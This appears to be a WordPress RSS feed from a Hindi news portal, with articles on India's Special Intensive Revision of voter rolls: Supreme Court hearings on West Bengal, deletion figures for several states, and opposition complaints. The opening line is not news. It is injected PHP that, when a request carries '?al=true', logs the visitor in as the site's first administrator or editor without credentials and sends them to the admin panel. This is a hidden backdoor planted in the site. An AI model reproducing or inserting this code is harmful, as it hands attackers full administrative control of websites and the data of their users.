// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); sir – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 24 Mar 2026 14:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 SIR पर अदालत की टिप्पणी: पश्चिम बंगाल छोड़ बाकी राज्यों में प्रक्रिया सुचारू https://pratyushaashakinayikiran.com/?p=207471 Tue, 24 Mar 2026 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=207471 नई दिल्ली

सुप्रीम कोर्ट ने मंगलवार को कहा कि निर्वाचन आयोग (ईसीआई) की ओर से मतदाता सूची के विशेष गहन पुनरीक्षण (एसआईआर) अभ्यास अधिकांश राज्यों में सुचारू रूप से हुआ है, सिवाय पश्चिम बंगाल के। मुख्य न्यायाधीश (सीजेआई) सूर्य कांत ने कहा कि अन्य राज्यों में एसआईआर अभ्यास के दौरान लगभग कोई मुकदमेबाजी नहीं हुई।

सीजेआई ने क्या टिप्पणी की?
सीजेआई ने कहा, पश्चिम बंगाल को छोड़कर जिन भी राज्यों में एसआईआर किया गया, हर जगह यह प्रक्रिया सुचारू (बिना बाधा के) रूप से चली। अन्य राज्यों में राज्यों में भी जटिलताएं हैं, लेकिन समान रूप से नहीं। लेकिन जटिलताएं तो हैं। लेकिन कुल मिलाकर अन्य राज्यों से शायद ही कोई मुकदमा आया।

शीर्ष कोर्ट की ओर से ये टिप्पणियां उस समय आईं, जब वह पश्चिम बंगाल में एसआईआर की प्रक्रिया में अनियमितता को उजागर करने वाली याचिकाओं के एक समूह की याचिकाओं पर सुनवाई कर रहा था। स्थिति को देखते हुए सुप्रीम कोर्ट ने पहले ही निर्देश जारी किए थे।

टीएमसी नेता के अनुरोध पर कोर्ट ने क्या कहा?
सुनवाई के दौरान वरिष्ठ वकील और तृणमूल कांग्रेस की नेता मेनका गुरुस्वामी ने कोर्ट से अनुरोध किया कि पश्चिम बंगाल चुनाव में मतदाता सूची पर रोक की तारीख बढ़ाई जाए (ताकि सूची से अपना नाम हटा जाने पर आपत्ति जताने वाले व्यक्तियों के नामों पर फैसला किया जा सके और उन्हें मतदाता सूची में जोड़ा जा सके)। इसके जवाब में कोर्ट ने स्पष्ट किया कि वह इस पर जरूर विचार करेगा। कोर्ट ने कहा, आवश्यकता पड़ने पर हम इस पर विचार करेंगे। फिलहाल स्थिति अनुकूल है। 

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SIR पर अदालत की टिप्पणी: पश्चिम बंगाल छोड़ बाकी राज्यों में प्रक्रिया सुचारू https://pratyushaashakinayikiran.com/?p=207472 Tue, 24 Mar 2026 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=207472 नई दिल्ली

सुप्रीम कोर्ट ने मंगलवार को कहा कि निर्वाचन आयोग (ईसीआई) की ओर से मतदाता सूची के विशेष गहन पुनरीक्षण (एसआईआर) अभ्यास अधिकांश राज्यों में सुचारू रूप से हुआ है, सिवाय पश्चिम बंगाल के। मुख्य न्यायाधीश (सीजेआई) सूर्य कांत ने कहा कि अन्य राज्यों में एसआईआर अभ्यास के दौरान लगभग कोई मुकदमेबाजी नहीं हुई।

सीजेआई ने क्या टिप्पणी की?
सीजेआई ने कहा, पश्चिम बंगाल को छोड़कर जिन भी राज्यों में एसआईआर किया गया, हर जगह यह प्रक्रिया सुचारू (बिना बाधा के) रूप से चली। अन्य राज्यों में राज्यों में भी जटिलताएं हैं, लेकिन समान रूप से नहीं। लेकिन जटिलताएं तो हैं। लेकिन कुल मिलाकर अन्य राज्यों से शायद ही कोई मुकदमा आया।

शीर्ष कोर्ट की ओर से ये टिप्पणियां उस समय आईं, जब वह पश्चिम बंगाल में एसआईआर की प्रक्रिया में अनियमितता को उजागर करने वाली याचिकाओं के एक समूह की याचिकाओं पर सुनवाई कर रहा था। स्थिति को देखते हुए सुप्रीम कोर्ट ने पहले ही निर्देश जारी किए थे।

टीएमसी नेता के अनुरोध पर कोर्ट ने क्या कहा?
सुनवाई के दौरान वरिष्ठ वकील और तृणमूल कांग्रेस की नेता मेनका गुरुस्वामी ने कोर्ट से अनुरोध किया कि पश्चिम बंगाल चुनाव में मतदाता सूची पर रोक की तारीख बढ़ाई जाए (ताकि सूची से अपना नाम हटा जाने पर आपत्ति जताने वाले व्यक्तियों के नामों पर फैसला किया जा सके और उन्हें मतदाता सूची में जोड़ा जा सके)। इसके जवाब में कोर्ट ने स्पष्ट किया कि वह इस पर जरूर विचार करेगा। कोर्ट ने कहा, आवश्यकता पड़ने पर हम इस पर विचार करेंगे। फिलहाल स्थिति अनुकूल है। 

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बंगाल के SIR में अब झारखंड और ओडिशा के जज भी करेंगे सेवा, सुप्रीम कोर्ट ने दी इजाजत https://pratyushaashakinayikiran.com/?p=200410 Tue, 24 Feb 2026 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=200410 कलकत्ता

सुप्रीम कोर्ट ने मंगलवार को कलकत्ता हाई कोर्ट के चीफ जस्टिस को पश्चिम बंगाल में मतदाता सूचियों के विशेष गहन पुनरीक्षण (SIR) में 80 लाख दावों और आपत्तियों से निपटने के लिए सिविल जजों को नियुक्त करने और पड़ोसी राज्यों झारखंड व ओडिशा से न्यायिक अधिकारियों को बुलाने की अनुमति दे दी है। सीजेआई सूर्यकांत, जस्टिस जॉयमाल्या बागची और जस्टिस विपुल एम पंचोली की पीठ ने कलकत्ता उच्च न्यायालय के मुख्य न्यायाधीश के एक पत्र पर संज्ञान लिया, जिसमें कहा गया था कि एसआईआर कवायद के लिए तैनात 250 जिला न्यायाधीशों को दावों और आपत्तियों से निपटने में लगभग 80 दिन लगेंगे।

गंभीर स्थिति और समय की कमी को ध्यान में रखते हुए पीठ ने प्रक्रिया संचालित करने के लिए सिविल जजों की तैनाती की अनुमति दी। उसने कलकत्ता हाई कोर्ट के मुख्य न्यायाधीश से झारखंड और ओडिशा के अपने समकक्षों से अनुरोध करने और स्थिति से निपटने के लिए समान पदों के न्यायिक अधिकारियों की मांग करने को कहा।

पीठ ने निर्वाचन आयोग को झारखंड और ओडिशा से न्यायिक अधिकारियों की तैनाती का खर्च वहन करने का निर्देश भी दिया। हाई कोर्ट ने निर्वाचन आयोग को 28 फरवरी को अंतिम मतदाता सूची प्रकाशित करने की अनुमति भी दी और स्पष्ट किया कि सत्यापन प्रक्रिया आगे बढ़ने पर चुनाव आयोग पूरक सूचियां जारी कर सकता है। उसने अनुच्छेद 142 के तहत पूर्ण शक्तियों का प्रयोग करते हुए मतदाताओं को पूरक मतदाता सूचियों में नामित किया, जो आयोग द्वारा 28 फरवरी को प्रकाशित अंतिम सूची का हिस्सा होंगी।

वर्ष 2002 की मतदाता सूची से पारिवारिक संबंध जोड़ने में तार्किक विसंगतियों में ऐसे मामले शामिल हैं, जिनमें माता-पिता के नाम में असंगति पायी गयी है और मतदाता व उसके माता-पिता के बीच आयु का अंतर 15 वर्ष से कम या 50 वर्ष से अधिक है। शीर्ष न्यायालय ने 20 फरवरी को पश्चिम बंगाल सरकार और निर्वाचन आयोग के बीच गतिरोध से निराश होकर राज्य में विवादों से घिरे एसआईआर में आयोग की सहायता के लिए सेवारत और पूर्व जिला न्यायाधीशों को तैनात करने का एक निर्देश जारी किया था।

निर्वाचन आयोग और बंगाल में 'लोकतांत्रिक रूप से चुनी गई' तृणमूल कांग्रेस सरकार के बीच 'दुर्भाग्यपूर्ण आरोप-प्रत्यारोप और विश्वास की कमी पर अफसोस जताते हुए पीठ ने एसआईआर प्रक्रिया को पूरा करने के लिए कई नए निर्देश पारित किए थे।

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बंगाल के SIR में अब झारखंड और ओडिशा के जज भी करेंगे सेवा, सुप्रीम कोर्ट ने दी इजाजत https://pratyushaashakinayikiran.com/?p=200412 Tue, 24 Feb 2026 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=200412 कलकत्ता

सुप्रीम कोर्ट ने मंगलवार को कलकत्ता हाई कोर्ट के चीफ जस्टिस को पश्चिम बंगाल में मतदाता सूचियों के विशेष गहन पुनरीक्षण (SIR) में 80 लाख दावों और आपत्तियों से निपटने के लिए सिविल जजों को नियुक्त करने और पड़ोसी राज्यों झारखंड व ओडिशा से न्यायिक अधिकारियों को बुलाने की अनुमति दे दी है। सीजेआई सूर्यकांत, जस्टिस जॉयमाल्या बागची और जस्टिस विपुल एम पंचोली की पीठ ने कलकत्ता उच्च न्यायालय के मुख्य न्यायाधीश के एक पत्र पर संज्ञान लिया, जिसमें कहा गया था कि एसआईआर कवायद के लिए तैनात 250 जिला न्यायाधीशों को दावों और आपत्तियों से निपटने में लगभग 80 दिन लगेंगे।

गंभीर स्थिति और समय की कमी को ध्यान में रखते हुए पीठ ने प्रक्रिया संचालित करने के लिए सिविल जजों की तैनाती की अनुमति दी। उसने कलकत्ता हाई कोर्ट के मुख्य न्यायाधीश से झारखंड और ओडिशा के अपने समकक्षों से अनुरोध करने और स्थिति से निपटने के लिए समान पदों के न्यायिक अधिकारियों की मांग करने को कहा।

पीठ ने निर्वाचन आयोग को झारखंड और ओडिशा से न्यायिक अधिकारियों की तैनाती का खर्च वहन करने का निर्देश भी दिया। हाई कोर्ट ने निर्वाचन आयोग को 28 फरवरी को अंतिम मतदाता सूची प्रकाशित करने की अनुमति भी दी और स्पष्ट किया कि सत्यापन प्रक्रिया आगे बढ़ने पर चुनाव आयोग पूरक सूचियां जारी कर सकता है। उसने अनुच्छेद 142 के तहत पूर्ण शक्तियों का प्रयोग करते हुए मतदाताओं को पूरक मतदाता सूचियों में नामित किया, जो आयोग द्वारा 28 फरवरी को प्रकाशित अंतिम सूची का हिस्सा होंगी।

वर्ष 2002 की मतदाता सूची से पारिवारिक संबंध जोड़ने में तार्किक विसंगतियों में ऐसे मामले शामिल हैं, जिनमें माता-पिता के नाम में असंगति पायी गयी है और मतदाता व उसके माता-पिता के बीच आयु का अंतर 15 वर्ष से कम या 50 वर्ष से अधिक है। शीर्ष न्यायालय ने 20 फरवरी को पश्चिम बंगाल सरकार और निर्वाचन आयोग के बीच गतिरोध से निराश होकर राज्य में विवादों से घिरे एसआईआर में आयोग की सहायता के लिए सेवारत और पूर्व जिला न्यायाधीशों को तैनात करने का एक निर्देश जारी किया था।

निर्वाचन आयोग और बंगाल में 'लोकतांत्रिक रूप से चुनी गई' तृणमूल कांग्रेस सरकार के बीच 'दुर्भाग्यपूर्ण आरोप-प्रत्यारोप और विश्वास की कमी पर अफसोस जताते हुए पीठ ने एसआईआर प्रक्रिया को पूरा करने के लिए कई नए निर्देश पारित किए थे।

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एसआईआर के बाद नौ राज्यों व केंद्रशासित प्रदेशों में 1.70 करोड़ मतदाता घटे, चुनाव आयोग के आंकड़े जारी https://pratyushaashakinayikiran.com/?p=199941 Sun, 22 Feb 2026 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=199941  नई दिल्ली

भारत के छह राज्यों और कुछ केंद्र शासित प्रदेशों में मतदाता सूची के विशेष गहन पुनरीक्षण (एसआईआर) का काम पूरा हो गया है। चुनाव आयोग द्वारा जारी ताजा आंकड़ों के अनुसार इस प्रक्रिया के दौरान बड़ी संख्या में ऐसे मतदाताओं के नाम हटाए गए, जिन्हें अयोग्य पाया गया। आधिकारिक आंकड़ों के अनुसार, 9 राज्यों और केंद्रशासित प्रदेशों में मतदाताओं की संख्या मिलाकर 1 करोड़ 70 लाख से ज्यादा घट गई है। आयोग ने स्पष्ट किया कि यह हटाए गए मतदाताओं और नए जोड़े गए योग्य मतदाताओं के अंतर के आधार पर नेट बदलाव है।

कितने घटे मतदाता?
मुख्य निर्वाचन अधिकारियों द्वारा जारी आंकड़ों के अनुसार, गुजरात, पुडुचेरी, लक्षद्वीप, राजस्थान, छत्तीसगढ़, अंडमान-निकोबार द्वीप, गोवा और केरल समेत कुल नौ राज्यों-केंद्रशासित प्रदेशों में एसआईआर शुरू होने से पहले मतदाताओं की संख्या लगभग 21.45 करोड़ थी। अंतिम मतदाता सूची जारी होने के बाद यह घटकर करीब 19.75 करोड़ रह गई, यानी कुल मिलाकर 1.70 करोड़ से अधिक मतदाता कम हो गए।

गुजरात में 68 लाख से ज्यादा मतदाताओं के नाम कटे
सबसे ज्यादा नाम गुजरात में हटाए गए हैं। यहां कुल 68 लाख 12 हजार 711 मतदाताओं के नाम सूची से हटे, जिससे कुल मतदाता संख्या लगभग 5.08 करोड़ से घटकर 4.40 करोड़ रह गई, यानी करीब 13.40% की कमी दर्ज हुई। इसके बाद मध्य प्रदेश का नंबर रहा, जहां करीब 34.25 लाख नाम हटाए गए और मतदाता संख्या 5.74 करोड़ से घटकर 5.39 करोड़ हो गई।

राजस्थान में 31 लाख तो छत्तीसगढ में 25 लाख मतदाता के नाम हटे
अन्य राज्यों में भी बड़ी कटौती देखी गई। राजस्थान में लगभग 31.36 लाख मतदाताओं के नाम हटे, छत्तीसगढ़ में करीब 24.99 लाख, जबकि केरल में करीब 8.97 लाख नाम कम हुए। छोटे राज्यों में गोवा में लगभग 1.27 लाख नाम हटे। केंद्र शासित प्रदेशों में अंडमान-निकोबार, पुडुचेरी और लक्षद्वीप में भी मतदाताओं की संख्या में कमी दर्ज की गई।

किस वजह से हटाए गए मतदाताओं के नाम?
चुनाव आयोग के अनुसार मतदाता सूची से नाम हटाने के मुख्य कारणों में मौत, स्थायी रूप से दूसरी जगह चले जाना, एक से अधिक जगह पंजीकरण होना या पात्रता से जुड़े अन्य मुद्दे शामिल हैं। आयोग ने कहा कि मतदाता सूची को अपडेट करना लगातार चलने वाली प्रक्रिया है और पात्र नागरिक अब भी नाम जुड़वाने, हटवाने या सुधार के लिए आवेदन कर सकते हैं।

यूपी, बंगाल और तमिलनाडु में SIR जारी
आयोग ने बताया कि पश्चिम बंगाल, उत्तर प्रदेश और तमिलनाडु के आंकड़े इस महीने के अंत तक जारी किए जाएंगे। देशभर में 12 राज्यों में चल रहे इस अभियान का अगला चरण अप्रैल से शुरू होगा, जिसके तहत पूरे देश में मतदाता सूचियों का सत्यापन जारी रहेगा।

विवाद और कानूनी चुनौती,  असम में अलग प्रक्रिया
इस पूरे अभियान के दौरान कई जगह शेड्यूल में बदलाव भी किए गए। बिहार की तरह ही तमिलनाडु और पश्चिम बंगाल में राजनीतिक दलों ने इस प्रक्रिया को सुप्रीम कोर्ट में चुनौती दी है। चुनाव आयोग का कहना है कि यह अभियान मतदाता सूची को अधिक सटीक और अपडेट रखने के लिए किया जा रहा है। असम में एसआईआर की जगह स्पेशल रिविजन प्रक्रिया अपनाई गई थी, जो 10 फरवरी को पूरी हो चुकी है।

देशभर में चल रहा है अभियान
चुनाव आयोग का यह विशेष पुनरीक्षण अभियान देश के कई हिस्सों में जारी है। बिहार में यह प्रक्रिया पूरी हो चुकी है, जबकि अभी 12 राज्यों और केंद्रशासित प्रदेशों में यह काम चल रहा है, जहां लगभग 60 करोड़ मतदाता शामिल हैं। इसके बाद अगले चरण में 17 राज्यों और 5 केंद्रशासित प्रदेशों के करीब 40 करोड़ मतदाताओं को कवर किया जाएगा।

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एमपी में SIR का बड़ा असर: 8 लाख नए वोटर जुड़ेंगे, 1 लाख नाम हटेंगे, 21 फरवरी को आएगी फाइनल लिस्ट https://pratyushaashakinayikiran.com/?p=198009 Sun, 15 Feb 2026 06:45:00 +0000 https://pratyushaashakinayikiran.com/?p=198009 भोपाल
मध्य प्रदेश में मतदाता सूची के शुद्धीकरण के लिए चलाए गए विशेष गहन पुनरीक्षण अभियान (एसआईआर) के अंतर्गत प्राप्त 95 प्रतिशत दावे-आपत्तियों का निराकरण कर लिया गया है। एक करोड़ से अधिक मतदाताओं के नाम, उपनाम और आयु में कुछ त्रुटियां थीं, जिन्हें सुधरवाया गया है। वहीं, जिन साढ़े चार लाख मतदाताओं ने अधूरे गणना पत्रक जमा किए थे, उनकी भी सुनवाई कर ली गई है।

मतदाता सूची में करीब आठ लाख नए नाम जुड़ेंगे और एक लाख हटेंगे। यह प्रक्रिया शनिवार को पूरी करने के बाद अब 21 फरवरी को मतदाता सूची का अंतिम प्रकाशन किया जाएगा। मुख्य निर्वाचन पदाधिकारी कार्यालय के अधिकारियों का कहना है कि प्रारूप मतदाता सूची के आधार पर हुए दावे-आपत्ति का निराकरण जिलों में कराया गया है। जो भी आवेदन प्राप्त हुए उनका परीक्षण रजिस्ट्रीकरण अधिकारी ने कराया है।
 
एसआईआर में जिनके गणना पत्रक अधूरे थे, उन्हें नोटिस देकर शिविर में बुलाया गया और यदि दस्तावेज पूरे थे तो उनके पक्ष में आदेश पारित किए गए। इसी तरह साफ्टवेयर ने जिन त्रुटियों को पकड़ा था, उन्हें भी दूर कराया गया है। उल्लेखनीय है कि चुनाव आयोग ने केवल शाब्दिक या आयु गणना की त्रुटि के कारण जिन मतदाताओं को नोटिस जारी किए गए थे, उनके नाम सूची से नहीं हटाने के लिए कहा था।

वहीं, कांग्रेस, भाजपा सहित अन्य दलों के प्रतिनिधियों द्वारा जो शिकायतें की गई थीं, उनका भी निराकरण करवाया गया है। यदि नाम नही जुड़ा तो आगे भी विकल्प – यदि किसी पात्र मतदाता का नाम किसी भी कारण से इस सूची में शामिल नहीं हो पाता है तो ऐसा नहीं है कि उसका नाम आगे शामिल नहीं होगा। यह एक सतत चलने वाली प्रक्रिया है। वह फार्म छह भरकर अपना नाम जुड़वा सकेगा। इसी तरह नाम, पता आदि जानकारी में संशोधन भी फार्म आठ के माध्यम से हो सकेगा।

सूची प्रकाशन के बाद सत्यापन कराएगी कांग्रेस
उधर, कांग्रेस ने तय किया है कि 21 फरवरी को मतदाता सूची के अंतिम प्रकाशन के बाद कांग्रेस बूथवार सूची का सत्यापन कराएगी। इसमें पार्टी की ओर से जो आपत्तियां की गई थीं, उनका निराकरण नहीं हुआ तो फिर चुनाव आयोग को शिकायत की जाएगी।

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यूपी SIR को लेकर बड़ा अपडेट, दावे-आपत्तियों का समय एक महीने के लिए बढ़ाया, 27 मार्च तक होगी नोटिस पर सुनवाई https://pratyushaashakinayikiran.com/?p=195989 Fri, 06 Feb 2026 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=195989 लखनऊ

यूपी एसआईआर को लेकर बड़ा अपडेट है। राज्य निर्वाचन आयोग ने दावे और आपत्तियों का समय एक महीने के लिए बढ़ा दिया है। अब छह मार्च तक दावे और आपत्तियों की जा सकेंगी। वहीं नोटिस पर सुनवाई 27 मार्च तक की जाएगी। यूपी के मुख्य निर्वाचन अधिकारी (सीईओ) नवदीप रिनवा ने बताया कि अब अंतिम मतदाता सूची का प्रकाशन 10 अप्रैल को किया जाएगा। उन्होंने बताया कि अब हर दिन सुबह 10 बजे से दोपहर 12 बजे तक बूथ पर बैठेंगे। कुल 8990 एईआरओ सुनवाई करेंगे। उन्होंने बताया, मतदाता सूची से 2.89 करोड़ लोगों के नाम काटे गए हैं। कुल 12.55 करोड़ मतदाताओं की ड्राफ्ट मतदाता सूची जारी की गई है। अभी प्रतिदिन ढाई लाख से तीन लाख लोग मतदाता बनने को फॉर्म-6 भर रहे हैं।

उन्होंने बताया, कुल 3.26 करोड़ मतदाताओं को नोटिस जानी है। अब तक 2.37 करोड़ लोगों को नोटिस जारी हुई है। जिसमें से 86.27 लाख को नोटिस दी जा चुकी है । 30.30 लाख वोटरों की सुनवाई हो चुकी है । 16.18 लाख लोगों ने 6 जनवरी तक फॉर्म 6 भरे थे मतदाता बनने को। 6 जनवरी से 4 फरवरी तक 37.80 लाख ने फॉर्म भरे हैं। 5 फरवरी को सर्वाधिक 3.51 लाख लोगों ने मतदाता बनने को फॉर्म 6 भरा है। बड़ी संख्या में महिला व युवा अभी भी वोटर बनने से बाकी हैं। ऐसे में यह लोग अंतिम मतदाता सूची में शामिल हो इसका भी पूरा प्रयास किया जा रहा है। ड्राफ्ट मतदाता सूची पर दावे-आपत्तियां लोग ढंग से कर सकें इसके लिए उन्हें और समय दिया गया है।
नोटिस पाने वाले सिर्फ 13 प्रतिशत मतदाताओं की सुनवाई

यूपी की मतदाता सूची में शामिल ऐसे मतदाता जिनके नाम का मिलान वर्ष 2003 की मतदाता सूची से नहीं हो सका है, उन्हें नोटिस भेजा गया है। अभी तक 1.72 लाख मतदाताओं को नोटिस जारी किया गया है और अभी तक 23 लाख मतदाताओं की सुनवाई की जा सकी है। यानी नोटिस पाने वालों में 13 प्रतिशत मतदाताओं की ही सुनवाई हो सकी है। जिन्हें नोटिस जारी होगी उनमें 3.26 करोड़ लोग हैं। जिसमें पुरानी सूची से मिलान न हो पाने वाले और तार्किक विसंगति वाले वोटर हैं। ऐसे में अभी 1.53 करोड़ मतदाताओं को नोटिस जारी होना बाकी है। यही कारण है कि मतदाता सूची में दावे-आपत्तियों व सुनवाई का समय बढ़ाया गया है।

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यूपी SIR को लेकर बड़ा अपडेट, दावे-आपत्तियों का समय एक महीने के लिए बढ़ाया, 27 मार्च तक होगी नोटिस पर सुनवाई https://pratyushaashakinayikiran.com/?p=195991 Fri, 06 Feb 2026 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=195991 लखनऊ

यूपी एसआईआर को लेकर बड़ा अपडेट है। राज्य निर्वाचन आयोग ने दावे और आपत्तियों का समय एक महीने के लिए बढ़ा दिया है। अब छह मार्च तक दावे और आपत्तियों की जा सकेंगी। वहीं नोटिस पर सुनवाई 27 मार्च तक की जाएगी। यूपी के मुख्य निर्वाचन अधिकारी (सीईओ) नवदीप रिनवा ने बताया कि अब अंतिम मतदाता सूची का प्रकाशन 10 अप्रैल को किया जाएगा। उन्होंने बताया कि अब हर दिन सुबह 10 बजे से दोपहर 12 बजे तक बूथ पर बैठेंगे। कुल 8990 एईआरओ सुनवाई करेंगे। उन्होंने बताया, मतदाता सूची से 2.89 करोड़ लोगों के नाम काटे गए हैं। कुल 12.55 करोड़ मतदाताओं की ड्राफ्ट मतदाता सूची जारी की गई है। अभी प्रतिदिन ढाई लाख से तीन लाख लोग मतदाता बनने को फॉर्म-6 भर रहे हैं।

उन्होंने बताया, कुल 3.26 करोड़ मतदाताओं को नोटिस जानी है। अब तक 2.37 करोड़ लोगों को नोटिस जारी हुई है। जिसमें से 86.27 लाख को नोटिस दी जा चुकी है । 30.30 लाख वोटरों की सुनवाई हो चुकी है । 16.18 लाख लोगों ने 6 जनवरी तक फॉर्म 6 भरे थे मतदाता बनने को। 6 जनवरी से 4 फरवरी तक 37.80 लाख ने फॉर्म भरे हैं। 5 फरवरी को सर्वाधिक 3.51 लाख लोगों ने मतदाता बनने को फॉर्म 6 भरा है। बड़ी संख्या में महिला व युवा अभी भी वोटर बनने से बाकी हैं। ऐसे में यह लोग अंतिम मतदाता सूची में शामिल हो इसका भी पूरा प्रयास किया जा रहा है। ड्राफ्ट मतदाता सूची पर दावे-आपत्तियां लोग ढंग से कर सकें इसके लिए उन्हें और समय दिया गया है।
नोटिस पाने वाले सिर्फ 13 प्रतिशत मतदाताओं की सुनवाई

यूपी की मतदाता सूची में शामिल ऐसे मतदाता जिनके नाम का मिलान वर्ष 2003 की मतदाता सूची से नहीं हो सका है, उन्हें नोटिस भेजा गया है। अभी तक 1.72 लाख मतदाताओं को नोटिस जारी किया गया है और अभी तक 23 लाख मतदाताओं की सुनवाई की जा सकी है। यानी नोटिस पाने वालों में 13 प्रतिशत मतदाताओं की ही सुनवाई हो सकी है। जिन्हें नोटिस जारी होगी उनमें 3.26 करोड़ लोग हैं। जिसमें पुरानी सूची से मिलान न हो पाने वाले और तार्किक विसंगति वाले वोटर हैं। ऐसे में अभी 1.53 करोड़ मतदाताओं को नोटिस जारी होना बाकी है। यही कारण है कि मतदाता सूची में दावे-आपत्तियों व सुनवाई का समय बढ़ाया गया है।

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मतदाता सूची से नाम कटने पर बवाल: ‘मैं जीवित हूं’ तख्ती लेकर कांग्रेस भवन पहुंचे लोग, SIR प्रक्रिया पर सवाल https://pratyushaashakinayikiran.com/?p=195920 Fri, 06 Feb 2026 11:30:00 +0000 https://pratyushaashakinayikiran.com/?p=195920 रायपुर

छत्तीसगढ़ में विशेष गहन पुनरीक्षण (SIR) की प्रक्रिया को लेकर प्रदेश कांग्रेस के पूर्व अध्यक्ष धनेन्द्र साहू ने भाजपा और निर्वाचन आयोग को फिर कटघरे में खड़ा कर दिया है. अभनपुर विधानसभा क्षेत्र में एसआईआर में बड़ी गड़बड़ी का आरोप लगाया गया है. धनेन्द्र साहू ने इसे साजिश बताते हुए प्रमाण भी दिया. प्रेस वार्ता में कई महिलाएं और पुरुष गले में मैं अभी जीवित हूं की तख्ती टांगकर मौजूद रहे. जो कथित तौर पर मृत बताकर मतदाता सूची से हटाए गए.

वरिष्ठ कांग्रेस नेता ने आरोप लगाया कि भाजपा अपना जनाधार खो चुकी है, इसलिए जो मतदाता उसे वोट नहीं देते, उनके नाम मतदाता सूची से हटवाए जा रहे हैं. उन्होंने दावा किया कि अभनपुर विधानसभा क्षेत्र में फॉर्म-7 के जरिए करीब 21 हजार मतदाताओं के नाम काटे गए. निर्वाचन अधिकारी से जब फॉर्म-7 से जुड़ी विस्तृत जानकारी मांगी गई, तो बीएलए की आपत्तियां देने से इनकार कर दिया गया.

धनेंद्र साहू ने यह भी आरोप लगाया कि भाजपा ने बीएलए के माध्यम से 917 मतदाताओं के नाम विलोपित करवाए. लगभग हर बीएलए को 30 से 40 नाम हटाने के निर्देश दिए गए. जब कांग्रेस ने 914 नामों की जांच की, तो सभी संबंधित व्यक्ति उसी गांव और वार्ड में जीवित पाए गए.

उन्होंने आरोप लगाया कि भाजपा नेताओं द्वारा बीएलओ पर दबाव बनाया जा रहा है. कांग्रेस प्रतिनिधिमंडल ने निर्वाचन आयोग से मुलाकात कर कहा कि झूठी जानकारी देकर नाम कटवाना आपराधिक कृत्य है. इस पर संबंधित थानों में केस दर्ज होना चाहिए. धनेंद्र साहू का आरोप है कि निर्वाचन आयोग एफआईआर दर्ज कराने को तैयार नहीं है. न तो आपत्तियों का प्रकाशन किया जा रहा है और न ही दावा-आपत्ति की जानकारी कांग्रेस संगठन को दी जा रही है. दबाव के बाद ही निर्वाचन आयोग जानकारी देने को बाध्य हुआ. कांग्रेस ने SIR प्रक्रिया की निष्पक्ष जांच, पारदर्शिता और नियमों के पालन के साथ काम कराने की मांग की है.

धनेंद्र साहू ने आरोप लगाया कि एसआईआर प्रक्रिया में जिनका नाम कटा है, उनमें 70 प्रतिशत नाम मुस्लिम मतदाताओं के हैं. यह साजिश केवल अभनपुर में नहीं हो रही है. इधर बीएलए का कहना है कि उन्होंने आपत्ति नहीं की, भाजपा पार्टी के बड़े पदाधिकारी आए और साइन करवा लिए. धनेंद्र साहू ने कहा यह एक बड़ा षड्यंत्र है, जितने बीएलए हैं वह दूसरे गांव में शिकायत कर रहे हैं.

धनेंद्र साहू ने एसआईआर में मतदाता लिस्ट से कटे नामों में करीब 70 प्रतिशत मुस्लिम मतदाता होने का आरोप लगाया. उन्होंने कहा कि यह साजिश सिर्फ अभनपुर तक सीमित नहीं है. बीएलए का कहना है कि उन्होंने कोई आपत्ति दर्ज नहीं की थी, बल्कि भाजपा के बड़े पदाधिकारी आए और उनसे साइन करवा लिए.

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SIR से हुई 107 मौतों पर बंगाल विधानसभा सख्त, प्रस्ताव पारित https://pratyushaashakinayikiran.com/?p=195778 Thu, 05 Feb 2026 16:45:00 +0000 https://pratyushaashakinayikiran.com/?p=195778 कोलकाता

पश्चिम बंगाल विधानसभा में गुरुवार को एक महत्वपूर्ण प्रस्ताव पेश किया गया है। इसमें दावा किया गया है कि राज्य में विशेष गहन संशोधन (SIR) को लेकर फैली घबराहट और चिंता के कारण 107 लोगों की जान चली गई है। पश्चिम बंगाल में विधानसभा चुनावों से पहले मतदाता सूची के पुनरीक्षण के लिए SIR की प्रक्रिया चल रही है। सत्ताधारी दल TMC का आरोप है कि इस प्रक्रिया ने आम जनता के बीच भारी डर पैदा कर दिया है। लोगों को लग रहा है कि यह NRC का ही एक दूसरा रूप है, जिसके माध्यम से उनके नाम मतदाता सूची से काट दिए जाएंगे और उनकी नागरिकता पर सवाल खड़े होंगे।

नियम 169 के तहत प्रस्ताव पेश करते हुए राज्य के संसदीय कार्य मंत्री शोभनदेब चट्टोपाध्याय ने दावा किया कि एसआईआर प्रक्रिया से मतदाताओं को परेशान किया गया और मानसिक तनाव के कारण 107 लोगों की मौत हो गई।

निर्वाचन आयोग की आलोचना करते हुए उन्होंने दावा किया कि राज्य में विधानसभा चुनाव से पहले निर्वाचन आयोग 'परेशान करने का आयोग बन गया है। विधानसभा अध्यक्ष बिमान बनर्जी ने इस प्रस्ताव को यह कहते हुए खारिज कर दिया कि मामला अभी उच्चतम न्यायालय में लंबित है, इसलिए विधानसभा इस पर विचार-विमर्श नहीं कर सकती।

इस मुद्दे को लेकर पश्चिम बंगाल की राजनीति गरमा गई है:
ममता बनर्जी का पक्ष: हाल ही में मुख्यमंत्री ने दावा किया कि राज्य में हर दिन 3-4 लोग इस 'SIR के डर' के कारण अपनी जान दे रहे हैं। उन्होंने इसे पिछले दरवाजे से NRC लाने की कोशिश करार दिया है।

BJP का पलटवार: विपक्षी दल बीजेपी ने इन आरोपों को सिरे से खारिज किया है। बीजेपी नेताओं का कहना है कि टीएमसी सरकार लोगों के बीच जानबूझकर अफवाहें और डर फैला रही है ताकि चुनावी लाभ लिया जा सके। उन्होंने इन मौतों को निजी त्रासदियों का राजनीतिकरण बताया है।

